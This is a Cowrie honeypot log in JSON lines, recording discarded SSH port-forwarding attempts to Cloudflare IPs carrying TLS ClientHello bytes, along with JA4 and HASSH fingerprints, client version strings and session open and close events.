{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y{\\xd7\\xbb\\x9f\\x05\\x89l\\xcb\\xad\\x00\\xb9@\\xd9\\xad9\\xc9\\xe1\\xb9z\\xdf\\xbc\\xbcv\\x84#\\x0f\\xc2`T\\x00\\xde \\xd07\\x9a\\xe5[~\\xeb\\xee\\x1d%\\x90\\x9d\\x9f\\xa2JD\\x9f9\\xfa\\x8d\\xea\\x1d&5\\xe0$\\xb5,|*=x\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 9a{X\\'\\x8c\\x05\\xabj>U\\xdb\\xc5\\xe9\\xa2\\xf1^\\xc4\\xef\\xc67q\\xf4\\xed\\xb7n\\xbfq\\x89\\xe2\\xc3k\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y{\\xd7\\xbb\\x9f\\x05\\x89l\\xcb\\xad\\x00\\xb9@\\xd9\\xad9\\xc9\\xe1\\xb9z\\xdf\\xbc\\xbcv\\x84#\\x0f\\xc2`T\\x00\\xde \\xd07\\x9a\\xe5[~\\xeb\\xee\\x1d%\\x90\\x9d\\x9f\\xa2JD\\x9f9\\xfa\\x8d\\xea\\x1d&5\\xe0$\\xb5,|*=x\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 9a{X\\'\\x8c\\x05\\xabj>U\\xdb\\xc5\\xe9\\xa2\\xf1^\\xc4\\xef\\xc67q\\xf4\\xed\\xb7n\\xbfq\\x89\\xe2\\xc3k\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:07.196443Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:07.415826Z","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:07.429696Z","src_ip":"103.27.238.120","session":"733cad7192e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:07.579359Z","src_ip":"123.27.168.40","session":"2e60006912a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:07.647973Z","src_ip":"123.27.168.40","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\xacD}g\\xbf\\xcb\\x81M\\x89\\xb2\\xa0\\x91\\xec\\xa9\\x96\\xd0\\xf6\\x87Q^s\\xec\\xe7\\xa3\\xb1\\x12(\\xbbT^3 K\\xea\\x0b\\xd0\\xbfs\\xbf\\nJ\\x18J\\xda\\xac\\xafR\\x9e\\x9e7\\xf3m\\xf1\\xad\\x1et\\xc2\\x1c\\x13wBe\\x84\\xbc\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\\\x8e\\xafe\\x05\\x88 \\xd1\\x84W\\xf3eu\\xa7OO\\xbeGM\\xb4c\\xee g\\xf4\\x13\\xd9\\x80~:\\xb4=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\xacD}g\\xbf\\xcb\\x81M\\x89\\xb2\\xa0\\x91\\xec\\xa9\\x96\\xd0\\xf6\\x87Q^s\\xec\\xe7\\xa3\\xb1\\x12(\\xbbT^3 K\\xea\\x0b\\xd0\\xbfs\\xbf\\nJ\\x18J\\xda\\xac\\xafR\\x9e\\x9e7\\xf3m\\xf1\\xad\\x1et\\xc2\\x1c\\x13wBe\\x84\\xbc\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\\\x8e\\xafe\\x05\\x88 \\xd1\\x84W\\xf3eu\\xa7OO\\xbeGM\\xb4c\\xee g\\xf4\\x13\\xd9\\x80~:\\xb4=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:07.651140Z","src_ip":"123.27.168.40","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:07.883410Z","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:08.113806Z","src_ip":"123.27.168.40","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\xfb\\xeaq\\xba\\xba\\xb71w\\xe5\\xf9%j\"\\xf2\\xfe\\x85j\\xc6\\xb2JU\\xbc\\x9e$\\rEHe+t\\x16 \\xd2\\x8a\\x93\\x82\\xfc\\x18\\x08P\\xe5\\xfd\\x82H\\x8eo7`\\xde\\x1d\\x1b\\xbbOu\\xaaw\\x0e\\x82\\x9a\\x95\\x9d\\xad\\xdcc\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 W\\xd9\\xdf:.\\xfa\\x1f\\xd0\\xa3\\xf6!\\x8d\\xd4_\\xdc]\\x8d\\x8c\\x8e\\xac:*\\xf7\\xe4\\x14\\x9fbxK\\xc0@t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\xfb\\xeaq\\xba\\xba\\xb71w\\xe5\\xf9%j\"\\xf2\\xfe\\x85j\\xc6\\xb2JU\\xbc\\x9e$\\rEHe+t\\x16 \\xd2\\x8a\\x93\\x82\\xfc\\x18\\x08P\\xe5\\xfd\\x82H\\x8eo7`\\xde\\x1d\\x1b\\xbbOu\\xaaw\\x0e\\x82\\x9a\\x95\\x9d\\xad\\xdcc\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 W\\xd9\\xdf:.\\xfa\\x1f\\xd0\\xa3\\xf6!\\x8d\\xd4_\\xdc]\\x8d\\x8c\\x8e\\xac:*\\xf7\\xe4\\x14\\x9fbxK\\xc0@t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:08.116857Z","src_ip":"123.27.168.40","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:08.408409Z","src_ip":"123.27.168.40","session":"d8c1a4fb73bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":50164,"dst_ip":"10.17.0.5","dst_port":22,"session":"146e2fdc94b5","protocol":"ssh","message":"New connection: 23.175.50.52:50164 (10.17.0.5:22) [session: 146e2fdc94b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:25.103890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:25.118323Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:25.590400Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.030224561691284,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:26.274872Z","src_ip":"172.81.62.90","session":"1ed29485ee00","protocol":"telnet"}
